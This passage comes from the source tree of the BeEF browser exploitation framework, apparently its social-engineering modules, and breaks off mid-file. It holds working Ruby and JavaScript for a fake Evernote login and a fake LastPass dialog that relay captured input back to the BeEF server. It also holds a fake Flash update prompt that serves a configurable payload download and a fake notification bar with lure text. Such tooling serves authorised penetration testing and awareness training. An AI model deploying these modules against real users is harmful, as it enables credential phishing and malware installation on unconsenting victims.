url(../../images/login_simsearch_tooltip_arrow.png); background-repeat: no-repeat; background-size: 30px 15px; bottom: 10px; content: ""; height: 15px; left: -8px; position: absolute; width: 30px; } #login { background-color: #26B064; box-shadow: inset 0 1px #33CC78; font-family: "GothamBold", Helvetica, Arial, sans-serif; font-size: 16px; outline: none; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5); } #reg { background-color: #209BC9; box-shadow: inset 0 1px #48C0ED; font-family: "GothamMedium", Helvetica, Arial, sans-serif; font-size: 13px; outline: none; } #forgotPw { color: #C2CFD7; cursor: pointer; font-family: "GothamMedium", Helvetica, Arial, sans-serif; font-size: 11px; height: 14px; line-height: 14px; outline: none; overflow: hidden; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, 0.5); } @media (-webkit-min-device-pixel-ratio: 1.5) { #switcher:after { background-image: url(../../images/forward@2x.png); } #globalError { background-image: url(../../images/error-clip@2x.png); } #simsearch .checkbox.checked { background-image: url(../../images/checkmark@2x.png); } #simsearch .label .help { background-image: url(../../images/question-mark@2x.png); } #simsearch .label .help:hover:after { background-image: url(../../images/login_simsearch_tooltip_arrow@2x.png); } } ================================================ FILE: modules/social_engineering/fake_evernote_clipper/login.html ================================================
    Sign In
    Create an Evernote account
    Forgot password?
    ================================================ FILE: modules/social_engineering/fake_evernote_clipper/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fake_evernote_clipper < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/login.html', '/ev/login', 'html') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/login.css', '/ev/login', 'css') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/clipboard.png', '/ev/clipboard', 'png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/close_login.png', '/ev/close_login', 'png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/error-clip.png', '/ev/error-clip', 'png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/evernote_web_clipper.png', '/ev/evernote_web_clipper', 'png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/GothamSSm-Medium.otf', '/ev/GothamSSm-Medium', 'otf') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_evernote_clipper/GothamSSm-Bold.otf', '/ev/GothamSSm-Bold', 'otf') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/core/main/client/lib/jquery-1.12.4.min.js', '/ev/jquery', 'js') end # # This method is being called when a zombie sends some # data back to the framework. # def post_execute if @datastore['meta'] == 'KILLFRAME' BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/login.html') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/login.css') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/clipboard.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/close_login.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/error-clip.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/evernote_web_clipper.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/GothamSSm-Medium.otf') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/GothamSSm-Bold.otf') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/ev/jquery.js') end content = {} content['result'] = @datastore['result'] save content end end ================================================ FILE: modules/social_engineering/fake_flash_update/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Module Configurations var image = "<%== @image %>"; // Function to gray out the screen var grayOut = function(vis, options) { var options = options || {}; var zindex = options.zindex || 50; var opacity = options.opacity || 70; var opaque = (opacity / 100); var bgcolor = options.bgcolor || '#000000'; var dark=document.getElementById('darkenScreenObject'); if (!dark) { var tbody = document.getElementsByTagName("body")[0]; var tnode = document.createElement('div'); tnode.style.position='absolute'; tnode.style.top='0px'; tnode.style.left='0px'; tnode.style.overflow='hidden'; tnode.style.display='none'; tnode.id='darkenScreenObject'; tbody.appendChild(tnode); dark=document.getElementById('darkenScreenObject'); } if (vis) { var pageWidth='100%'; var pageHeight='100%'; dark.style.opacity=opaque; dark.style.MozOpacity=opaque; dark.style.filter='alpha(opacity='+opacity+')'; dark.style.zIndex=zindex; dark.style.backgroundColor=bgcolor; dark.style.width= pageWidth; dark.style.height= pageHeight; dark.style.display='block'; } else { dark.style.display='none'; } }; // Create DIV var flashdiv = document.createElement('div'); flashdiv.setAttribute('id', 'flashDiv'); flashdiv.setAttribute('style', 'position:absolute; top:20%; left:30%; z-index:51;'); flashdiv.setAttribute('align', 'center'); document.body.appendChild(flashdiv); // window.open is very useful when using data URI vectors and the IFrame/Object tag // also, as the user is clicking on the link, the new tab opener is not blocked by the browser. flashdiv.innerHTML = "\" target=\"_blank\" >"; // gray out the background grayOut(true,{'opacity':'30'}); // clean up on click $j("#flashDiv").click(function () { $j(this).hide(); document.body.removeChild(flashdiv); grayOut(false,{'opacity':'0'}); document.body.removeChild(document.getElementById('darkenScreenObject')); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=user has clicked'); }); }); ================================================ FILE: modules/social_engineering/fake_flash_update/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fake_flash_update: enable: true category: "Social Engineering" name: "Fake Flash Update" description: "Prompts the user to install an update to Adobe Flash Player from the specified URL." authors: ["mh", "antisnatchor", "gcattani"] target: user_notify: ['ALL'] ================================================ FILE: modules/social_engineering/fake_flash_update/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fake_flash_update < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_flash_update/img/eng.png', '/adobe/flash_update', 'png') end def self.options @configuration = BeEF::Core::Configuration.instance proto = @configuration.beef_proto beef_host = @configuration.beef_host beef_port = @configuration.beef_port base_host = "#{proto}://#{beef_host}:#{beef_port}" image = "#{base_host}/adobe/flash_update.png" [ { 'name' => 'image', 'description' => 'Location of image for the update prompt', 'ui_label' => 'Image', 'value' => image }, { 'name' => 'payload_uri', 'description' => 'Payload URI', 'ui_label' => 'Payload URI', 'value' => '' } ] end def post_execute content = {} content['result'] = @datastore['result'] save content BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/adobe/flash_update.png') end end ================================================ FILE: modules/social_engineering/fake_lastpass/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { // Prepare the onmessage event handling var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent"; var eventer = window[eventMethod]; var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message"; eventer(messageEvent,function(e) { if (e.data == "KILLFRAME") { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Killing Frame'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'meta=KILLFRAME'); beef.dom.removeElement('LPIFRAME'); return; } else { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=' + e.data); } },false); if (beef.browser.isC()) { beef.dom.createIframe('custom', {'src':beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/lp/index.html','id':'LPIFRAME'}, {'width':'294px','height':'352px','position':'fixed','right':'5px','top':'0px','z-index':beef.dom.getHighestZindex()+1,'border':'1px solid white','overflow':'hidden'}); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Chrome IFrame Created .. awaiting messages'); } else { beef.debug('[Fake LastPass] Unspported browser'); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=No IFrame Created -- browser is not Chrome', beef.are.status_error()); } // $j('body').append(""); // $j('#lp_login_dia').load(beef.net.httpproto+"://"+beef.net.host+":"+beef.net.port+"/lp/index.html"); }); ================================================ FILE: modules/social_engineering/fake_lastpass/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fake_lastpass: enable: true category: "Social Engineering" name: "Fake LastPass" description: "Displays a fake LastPass user dialog." authors: ["xntrik", "gcattani"] target: user_notify: ['C'] not_working: ["ALL"] ================================================ FILE: modules/social_engineering/fake_lastpass/index-new.html ================================================
    Sign In


    Email:
    Password:

      
      
      


    ================================================ FILE: modules/social_engineering/fake_lastpass/index.html ================================================

    Email
      
    Password
      
      
      
    Login
    Cancel
    ================================================ FILE: modules/social_engineering/fake_lastpass/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fake_lastpass < BeEF::Core::Command def pre_send BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/core/main/client/lib/jquery-1.12.4.min.js', '/lp/jquery', 'js') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/index-new.html', '/lp/index', 'html') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/lp_signin_logo.png', '/lp/lp_signin_logo', 'png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/cancel.png', '/lp/cancel', 'png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/social_engineering/fake_lastpass/keyboard.png', '/lp/keyboard', 'png') end # # This method is being called when a zombie sends some # data back to the framework. # def post_execute if @datastore['meta'] == 'KILLFRAME' BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/index.html') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/jquery.js') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/lp_signin_logo.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/cancel.png') BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/lp/keyboard.png') end content = {} content['result'] = @datastore['result'] save content end end ================================================ FILE: modules/social_engineering/fake_notification/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var id = beef.dom.generateID(); var pid = beef.dom.generateID(); var zztop = beef.dom.getHighestZindex()+1; var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:2px 20px 5px 24px; z-index:'+zztop+'; border-bottom:1px solid black; background:#ffffda; display:none; font-family: \'Tahoma\',sans-serif; font-size: 12px; '}); var ell = beef.dom.createElement('div',{'style':'width: 16px; height: 18px; padding: 0; margin: 3px 0px 5px 5px; position: absolute; left: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) var elr = beef.dom.createElement('div',{'style':'width: 8px; height: 8px; padding: 0; margin: 7px 50px 5px 0px; position: absolute; right: 0px; top: 0px; background-image: url(data:image/png;base64,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);'}) var elp = beef.dom.createElement('p',{'id':pid,'style':'padding: 0; margin: 0 50px 0 4px;'}); $j('body').append(el); var hid = '#'+id; var hpid = '#'+pid; $j(hid).append(elp); $j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>'))); $j(hid).append(ell); $j(hid).append(elr); $j(hid).click(function() { $j(this).slideUp(300,function() { $j(this).remove(); }); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification'); }); $j(hid).css('cursor','pointer'); $j(hid).slideDown(300,function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed'); }); }); ================================================ FILE: modules/social_engineering/fake_notification/config.yaml ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # beef: module: fake_notification: enable: true category: "Social Engineering" name: "Fake Notification Bar" description: "Displays a fake notification bar at the top of the screen, similar to those presented in IE." authors: ["xntrik"] target: user_notify: ['ALL'] ================================================ FILE: modules/social_engineering/fake_notification/module.rb ================================================ # # Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net # Browser Exploitation Framework (BeEF) - https://beefproject.com # See the file 'doc/COPYING' for copying permission # class Fake_notification < BeEF::Core::Command def self.options [ { 'name' => 'notification_text', 'description' => 'Text displayed in the notification bar', 'ui_label' => 'Notification text', 'value' => "This website wants to run the following applet: 'Java' from 'Microsoft Inc'. To continue using this website you must accept the following security popup" } ] end # # This method is being called when a zombie sends some # data back to the framework. # def post_execute content = {} content['result'] = @datastore['result'] save content end end ================================================ FILE: modules/social_engineering/fake_notification_c/command.js ================================================ // // Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { var id = beef.dom.generateID(); var pid = beef.dom.generateID(); var zztop = beef.dom.getHighestZindex()+1; var el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACIAAAAbCAYAAAAZMl2nAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAHJSURBVEhLzVY7UgMxDF2ZUwEVVJTM0NBxGipOwjUYho6WBlJxAbqQSbLm6ef1GmegyWh35kX+SPKTLDum3ed9HviT3yRN+WhqNh1Vr+ZJPagPIIscpzHXJW2osEEWAK0/7ioiLYGKDGuZg8wrMxPIUQbzkKxPLIUJwnIC6GcyYoVzFTS73qxuxapEBde9ryQgJ3OqMks4WMgICZHJWXFFsOv6tWzSdnXjibVUojvblinlmtfKHQff6h4KwxQ7HNXt9v26IXJge+Zays5I1GR0q+ZfYtXWvlFDvqzCXLJFD+7N56o+ycYoTjogsfHi5K3TuirAfBpGDAgwDnCdccEzxgYyx4XHMJ1hD7v/YISSOIUU2Lq2EDKiDDIGGLx6actqdh5tfj7HxaqYIjGGzrQwnnTdRuwscpS+GhLCcgyZ2Tt2aDO8b/psU+HPFDX6blvW37xdyan3XYuSiXivQCVaYmtwAwqZWIlTUx0RPyoBUotVMhIrafN64X8ToRWr94j8ZcdKbI1fWLEylSvbr+4guZyM+N9ztJSMRN+qvD6tX85/PXm6j6wjD9L389kiiPRftEeOvud+MUTo6+lyEVc8PT6c6hsg+Gn0AyTR5t4bxkW5AAAAAElFTkSuQmCC); background-repeat: repeat-x; background-color: #f6d646; display:none;'}); var ell = beef.dom.createElement('div',{'style':'width: 29px; height: 100%; padding: 0; margin: 0; position: absolute; left: 0px; top: 0px; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbIAAAAbCAYAAAAZFwqOAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsIAAA7CARUoSoAAAE7ZSURBVHhe7b0HoFxVuf79Tp/T0zslEEB6l14CCCK9CyKgInYQpV0stCsogpciSK+K9A6B0ENLqCEE0kkjvZw+vXy/5917kpMAovfvlev9Mno4Z2b2Xnuttz5vWSuR/LyLqtWIWYWfqsX4T9Ii/BW1Ar9LFovwrmQWiaT4T8zK5YLFkgnLlSr60GLRiFUqXM/3Ed6XyhlLJCJWLJb9fYyx9NLfER4UqfCMSJWx81bld9US/PA51+jKNb//tXRw5oju1Sj/qQS/Tb/9Q/9bL8mI8Z3/FpfC683KK+4LOK37tQa/cMWr9i5SDa7SsyRlxUjcx4tXeSbPqslAVI/lGaUYn3JztBL1kStRnsd1UcbR9KqSz2BGX8jvlSsM6FZb/yqLD2kYUq7HTIM5BzQNyb3qjSvXFdI+WHPPiwL+fFHr/3997hr6fTFy+//Kt/+p+1eVB70L5HulXn2GvOemf8MdmQxPxY0CjoZXDO8lw6J32BxeaauU0KIYV8ZjVixXLY5DK5WLOLKKJSJJK/B3LFqyeMKsVKxYMpmyUgEvqJdrn4xRFAMkJ1jmWZXgCTx3zeuLoUDoVla6HecTjsIltacjCx2Uvl/hzJAF+OjSw+eBgcXZrTCtq62JLyICMX4BTiuCI4syLjfGJWMSNMbT9zEAj74v4NHkrOLlQC7LcmRcE5d3C56sG78Y4q146t/jSsOLawTX23DaAUgQXQM6/s1XeF2w7tXhwhdMhv/249fQ779Nuv9zN9Zk4R9bWKQ47Ti3LP4/oeTAyvBRzB1ORIibiEuRmmFYTIYEZapYHCdWtkRcd5ZByALQDOXf86YcJ3oDc+P0Am/aU2v9Aa6In6e3/9hy1lz9j1Ag4HlwR8j2FbcHMXINDQUfB7Ih1LPS2Abx0MqIILiu9p9VZ1Mbs/asWiZAd0dDBxqJBMAngvzoUaWYZBLHVgIdaViAkhyeX68oxT8NnOwX96pFYn/rdzC7nnSukXFVR/a31xK4rpXPCWj67/5aQ79/dw7+8+Yf2hz8T2gIgt8r3vdEgiufGilOPTq0RELD/HhOR7qilA/3V4oWScStUsB4JDAmVRwVDsxiaa7ByFSI3EglVopFiyaFrvW9ILXCMtmYUDF7GDch7ZUvOctPn9w/jzhrRvo0CjjVV1jW1Qyi+6zP4ouH8D2k6FPCjBXfrpaEWH3IFcApvE6OSpY9dGTVWMlTiz0dmaI6vyaM8r947v49EUW4vp7IzZewKkFWvv2kg/o0bvxfcGP/UHJtDf2+eHH/p85g9ZyQp2YcpAaOrObYau+DAGj1LEykOOVwQB4X+3j8p6ZJOBv/KBZ1Q6IbZUDKRVKHqncpHSiHRO3CEbGnmHhLbcx9lwdhMkgac6Xdq41VVcTHeFEc3/8NZfyncvdfOFgPQfobfmuVCa24LqiZBZWt8LW68wtTYbXU2Yrr+Jwkc5Bm9pcQGBGi18AkvwJSeh9GaP5eMkdKWim4MLUYXPwvJFfPR/0z8NfqmOBzl7JqFuNzU5GfO94XeMEa+n2BxP/f8ujPcmSrpYpqoNUdWy0ztFL3I8Xph6EZNUe28hrlCiuRhOWL9VaJ0cgRjVsul7VejQ1WLXZZqbTc4vG4FUpNGJIGi+O4crm8NTU2UUvrtiLfJxOrOSk5Pk9LyiDJiYmYPZ79v4W2/7+aRyhI7nBC1LO6bK1ivFeLviRv/11H4uCqNl747EAoEAs5NmUIwhqrvw/kxl+r5ERXTYH+S9n3qbnx1SO0T5uR1hJ+XkOdvq7Pmf2nAYV/6YL/yQ9bQ79/MkH/zYZbUa4Im6VcF4SOw9RiCGxXvK/pyiq2Co/SPeMgSlt0FyqzWEvXaBwGKFiDnf2LZ+zd9zuDrkaMDi7NttqsyS75zVe4JmI//+XT9t77XW5fZIMSfL/lZo128X8eQHaxjUylmkbUragmj1q9TBfnA62tgrRrYeS/GQ/+/acrqxk6AUXPblTCpg3+dt+2wrIGFnZVO7q6B+tphVe3yD2vrf0dpglWoK0g1eZuwGVCcoL8+GWhYK+YT9APG8zv86z//xynVk8Nhl42UMYeKZBP2Gs+WOHH/q7pBxetPs6/dUTm6/m0xX8SCKyh3/+c